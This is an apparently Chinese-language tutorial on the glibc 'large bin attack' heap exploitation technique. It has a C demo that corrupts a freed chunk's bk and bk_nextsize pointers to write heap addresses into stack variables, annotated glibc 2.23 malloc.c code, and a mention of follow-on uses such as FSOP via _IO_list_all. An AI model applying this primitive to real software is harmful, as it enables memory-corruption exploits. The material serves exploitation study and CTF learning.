Large bin attack
2022-03-14 18:08:09

large bin attack:

利用chunk进入bin中的操作,

Large Bin基础知识:

large bin一共包括63个bin,每一个bin中的chunk大小都不一致,是出于一定区间范围内。

这63个bin被分成6组,每组bin中的chunk之间的公差一致

大于512字节(1024)的chunk称之为large chunk

被释放进large bin 的chunk结构:

prev_size,size,fd,bk,fd_nextsize,bk_nextsize

fd_nextsize==》指向前一个与当前chunk大小不同的第一个空闲快,不包含bin的头指针

bk_nextsize==》指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针

一般空闲的large chunk在fd遍历顺序中,按照从大到小的顺序排列,避免在寻找合适chunk时挨个遍历

large bin插入顺序:

在index相同的情况下:

1、按照大小,从大到小排序,小的链接large bin块

2、如果大小相同,按照free的时间排序

3、多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块这fd_nextsize和bk_nextsize均为0

4、size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk

例:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    malloc(0x20);
    unsigned long *p2 = malloc(0x400);
    malloc(0x20);
    unsigned long *p3 = malloc(0x400);
    malloc(0x20);

    free(p1);
    free(p2);

    void* p4 = malloc(0x90);

    free(p3);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}

编译:

gcc -g -no-pie closure.c -o closure

在第12行下断点查看打印出来的地址:

在19行下断点==》查看堆块分配:

查看堆块释放情况:

此时p2–>p1==》

由于p1,p2的size均超过了fastbin的最大值==》进入unsorted bin==》

p1小于0x3f0==》最终归属:small bin

p2大于0x3f0==》最终归属:large bin

申请0x90大小的堆块==》

==》对p1进行了分割==》目前处于第一个堆块就是刚申请的0x90的堆块==》

分割流程:

从unsorted bin中拿出最后一个chunk p1

把这个p1放入small bin中,并标记这个small bin中有空闲的chunk

把unsorted bin中拿出最后一个chunk p2(p1已被取出)

把p2放进large bin中,标记着large bin中有空闲chunk

目前unsorted bin中为空==》从small bin中的p1中分割出一个小chunk==》满足请求的p4

==》将剩下的chunk(0x330-0xa0)放回unsorted bin中==》0x6010a0就为被p4分割后的p1==》

将p3释放==》p3进入unsorted bin==》

对p2内部结构数据进行修改==》

未修改前:

修改后:

修改内容:

1、size由0x411==》0x3f1

2、fd置空

3、bk指针修改为stack_var1_addr-0x10

4、fd_nextsize置空

5、bk_nextsize修改成stack_var2_addr-0x20

再次申请0x90的堆块:

分割过程:

1、从unsorted bin中取出0x290的p1,放入small bin 中标记该序列的small bin有空闲的chunk

2、从unsorted bin中取出0x410的p3,放入large bin中

p3进入large bin过程:

判断p3应该归属的bin的类型=》根据size判断是large bin==》

large chunk的数据结构是带有fd_nextsize和bk_nextsize的,且large bin中还存放着p2==》

对两个large chunk进行比较大小==》根据大小制定两个large chunk的fd_nextsize,bk_nextsize,fd,bk指针

2.23libc==》比较过程:

while((unsigned long) size < fwd->size)
{
    fwd = fwd->fd_nextsize;
    assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
#遍历比较p3_size < p2_size==#large bin种的chunk如果index相同的情况下,按照从大到小的顺序排列==》、
#index相同,size越小,越接近large bin==
#条件:从unsorted bin中拿出的chunk的size是否小于large bin中前一个被释放的chunk
#如果小于==》执行while循环中的流程
#p2的size被修改为0x3f0,p3的size为0x410,p2<p3,不执行while循环中代码

#进入判断:
if((unsigned long) size == (unsigned long) fwd->size)
    fwd = fwd->fd;
#判断p3=p2的情况,不成立不执行

else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
#victim==》p3
#fwd==》p2

else中执行的就是p3>p2的情况==》

将p3插入large bin中并制定p2和p3两个large chunk的fd_nextsize和bk_nextsize的过程

执行:

else
{
    p3->fd_nextsize = p2;//p3的fd_nextsize要修改成p2的头指针
    p3->bk_nextsize = p2->bk_nextsize;//p3的bk_nextsize要修改成p2的bk_nextsize
    p2->bk_nextsize = p3;//p2的bk_nextsize要修改成p3的头指针
    p3->bk_nextsize->fd_nextsize = p3;//p3的bk_nextsize所指向的堆块的fd_nextsize
}
bck = p2->bk;//bck等于p2的bk

==》此时的stack_var2 = p3头指针

==》接下来指定p2和p3的fd和bk==》

mark_bin(av,victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#bck为p2的bk指针
#victim是p3的头指针

==》执行==》

mark_bin(av, victim_index);
P3->bk = p2->bk; //P3的bk指针要等于P2的bk指针
P3->fd = P2; //P3的fd指针要等于P2的头指针
P2->bk = P3; //P2的bk指针要等于P3的头指针
bck->fd = P3; //P2的bk指针指向的堆块的fd指针要等于P3的头指针
//该bck为上个阶段赋值的==》bck=fwd->bk = var1-0x10

==》

==》

此时的stack_var1 = p3的头指针

===》执行完程序==》

==》stack_var1和stack_var2均被修改为p3的头指针

利用条件:

修改一个large bin chunk的data

从unsorted bin中来的large bin chunk要紧跟再被构造过的chunk的后面

通过large bin attack 可以辅助Tcaceh stash unlink攻击

可以修改_IO_list_all 便于伪造_IO_FILE结构体进行FSOP

malloc.c中从unsorted bin中摘除chunk的完整过程代码:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
  {
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
      victim->size |= NON_MAIN_ARENA;
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
  }

/* place chunk in bin */

if (in_smallbin_range (size))
  {
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
  }
else
  {
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;

    /* maintain large bins in sorted order */
    if (fwd != bck)
      {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
        if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
          {
            fwd = bck;
            bck = bck->bk;

            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
        else
          {
            assert ((fwd->size & NON_MAIN_ARENA) == 0);
            while ((unsigned long) size < fwd->size)
              {
                fwd = fwd->fd_nextsize;
                assert ((fwd->size & NON_MAIN_ARENA) == 0);
              }

            if ((unsigned long) size == (unsigned long) fwd->size)
              /* Always insert in the second position.  */
              fwd = fwd->fd;
            else
              {
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;